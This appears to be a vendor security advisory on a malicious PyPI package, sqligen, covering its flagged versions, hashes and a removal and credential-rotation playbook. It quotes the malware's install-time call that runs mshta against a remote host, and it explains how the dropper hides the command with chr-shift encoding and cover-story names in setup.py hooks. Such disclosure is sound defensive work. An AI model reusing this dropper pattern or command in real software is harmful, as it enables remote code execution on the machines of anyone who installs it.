NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Part of a larger attack: 2026-06-easyaillm published 18 malicious packages. See the full campaign →
Malicious package

sqligenPyPI

Advisory published Updated

sqligen is a confirmed malicious PyPI package (MAL-2026-6515) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.5, 1.0.6…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sqligen (PyPI)

MAL-2026-6515
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall sqligen

What this malware does

setup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names ('GetDefaultSystemPolicy' / 'CalculateNodeDrift', backed by integer arrays presented as 'InterruptThresholds' and 'ThreadPingLatencies') decode via chr(value+14) arithmetic to the strings 'mshta' and 'https://fixars.top'. On Windows, GetGitCommitHash() runs subprocess.check_output(['mshta', 'https://fixars.top'], shell=True), executing an arbitrary remote HTA payload from fixars.top. This codepath is reached from CustomInstallCommand, CustomBuildPyCommand, and CustomDevelopCommand, so any pip install sqligen (or pip install -e.) on a Windows host triggers remote code execution under the installing user's account. The obfuscation (cover-story variable names, chr-shift encoding of the command and URL) demonstrates intentional evasion of source review; legitimate build tooling does not encode 'mshta' as 'hardware interrupt latency thresholds'. The fetched payload is attacker-controlled and unrelated to the package's stated SQL-generation purpose.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

  • tool:mshta

Malicious versions

8 flagged
1.0.01.0.51.0.61.0.71.0.81.1.11.1.31.1.4

Indicators of compromise (SHA-256)

b84d9f4006cbb5db6790a6de402754f0937758e861efe6ec0bc3ba156415327c
6757e6c11ba58c93d394399433beab9866ec37417e7b6217110e8dec3eefd22a
de59ac5884f286d69e42a71ba0cb7b99aa06d2b1f0e28a279a84d3db86eb3196
3a3e096836d992f01e091f3336e616533c580cb17f5d7eefca3c5d6ce8de7c26
71b150d072ecf2c233da2da933c59c9eca60a5f537864bcf9f8ccb32892a75c2
7f0a42f0f6a06c48ae2682290be0733216c10b9234853308a4f4af2198b9241c
8dfee9192060012de61fdbda198e493bb6cb2646a25c1888063e6337201355b9
c0b419353b77baa9e6a5dcc182a6ba9ae5c48f65a27a5306f6798c7b3a86db25
188827064b2c53b37e21e32faa7ec5e59aed3872a59bfcabd087e7b6e75c6db4

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for sqligen (8 malicious versions).

  2. If you installed it — respond

    sqligen is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If sqligen was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. sqligen on PyPI has been identified as a malicious package (versions 1.0.0, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.1.1, 1.1.3, 1.1.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-06-easyaillmIN-MAL-2026-007778IN-MAL-2026-007777IN-MAL-2026-008399IN-MAL-2026-008494IN-MAL-2026-008485IN-MAL-2026-008487IN-MAL-2026-008490IN-MAL-2026-009176

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks sqligen-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

sqligen (PyPI) malicious package — MAL-2026-6515 | O3 Security